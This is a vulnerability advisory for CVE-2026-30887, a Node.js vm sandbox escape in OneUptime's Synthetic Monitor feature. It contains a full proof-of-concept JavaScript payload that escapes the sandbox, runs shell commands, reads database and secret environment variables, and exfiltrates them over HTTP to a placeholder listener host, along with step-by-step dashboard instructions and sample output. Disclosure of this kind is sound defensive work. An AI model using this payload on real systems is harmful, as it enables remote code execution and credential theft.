CVE-2026-30887

Summary

OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.

Details

The root cause of the vulnerability exists in Common/Server/Utils/VM/VMRunner.ts where user-supplied JavaScript is executed using vm.runInContext():

const vmPromise = vm.runInContext(script, sandbox, { ... });

The Node.js documentation explicitly warns that the vm module is not a security boundary and should never be used to run untrusted code.

When a user creates a Synthetic Monitor, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., isolated-vm or a dedicated restricted container).

An attacker can use the payload const proc = this.constructor.constructor('return process')(); to step out of the sandbox context and grab the host's native process object. From there, they can require child_process to execute arbitrary shell commands.

Since the oneuptime-probe service runs with access to sensitive environment variables (such as ONEUPTIME_SECRET, DATABASE_PASSWORD, etc.), an attacker can trivially exfiltrate these secrets to an external server.

PoC

This exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least "Project Member" permissions.

1. Log In: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).
2. Navigate: Go to Monitors > Create New Monitor.
3. Monitor Type: Select Synthetic Monitor.
4. Browser/Screen Settings: Ensure Chromium is selected for "Browser Types" and Desktop is selected for "Screen Size Types".
5. Payload Injection: Scroll down to the "Playwright Code" editor. Delete the default template and paste the following malicious JavaScript payload:

return new Promise((resolve) => {
    try {
        // 1. Traverse the prototype chain to grab the host's process object
        const proc = this.constructor.constructor('return process')();
        
        // 2. Load the host's child_process module & run a system command
        const cp = proc.mainModule.require('child_process');
        const output = cp.execSync('ls -la /usr/src/app').toString();
        
        // 3. (Optional) Read sensitive environment secrets
        const secret = proc.env.ONEUPTIME_SECRET;
        const db_pass = proc.env.DATABASE_PASSWORD;
        
        // 4. Exfiltrate the data via the native `http` module
        const http_real = proc.mainModule.require('http');
        const req = http_real.request({ 
            hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE', 
            port: 80, 
            path: '/', 
            method: 'POST' 
        }, (res) => {
            resolve("EXFILTRATION_STATUS: " + res.statusCode);
        });
        
        req.on('error', (e) => resolve("EXFILTRATION_ERROR: " + e.message));
        
        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });
        req.write(payloadData);
        req.end();
    } catch(e) {
        resolve("CRITICAL_ERROR: " + e.message);
    }
});

6. Save & Execute: Click Save. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.

OUTPUT:

{"rce_output":"total 296\ndrwxr-xr-x   1 root root   4096 Mar  3 18:27 .\ndrwxr-xr-x   1 root root   4096 Mar  3 18:26 ..\n-rw-r--r--   1 root root     16 Mar  3 18:24 .gitattributes\n-rwxr-xr-x   1 root root    403 Mar  3 18:24 .gitignore\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 API\n-rw-r--r--   1 root root   4103 Mar  3 18:24 Config.ts\n-rw-r--r--   1 root root   2602 Mar  3 18:24 Dockerfile\n-rw-r--r--   1 root root   2705 Mar  3 18:24 Dockerfile.tpl\n-rw-r--r--   1 root root   2935 Mar  3 18:24 Index.ts\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Jobs\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 Services\ndrwxr-xr-x   4 root root   4096 Mar  3 18:24 Tests\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Utils\ndrwxr-xr-x   3 root root   4096 Mar  3 18:27 build\n-rw-r--r--   1 root root    889 Mar  3 18:24 jest.config.json\ndrwxr-xr-x 297 root root  12288 Mar  3 18:26 node_modules\n-rw-r--r--   1 root root    353 Mar  3 18:24 nodemon.json\n-rw-r--r--   1 root root 203119 Mar  3 18:24 package-lock.json\n-rw-r--r--   1 root root   1481 Mar  3 18:24 package.json\n-rw-r--r--   1 root root  11514 Mar  3 18:24 tsconfig.json\n"}

<img width="1364" height="470" alt="image" src="https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba" />

Impact

What kind of vulnerability is it? Remote Code Execution (RCE) / Code Injection / Sandbox Escape.

Who is impacted? Any OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.

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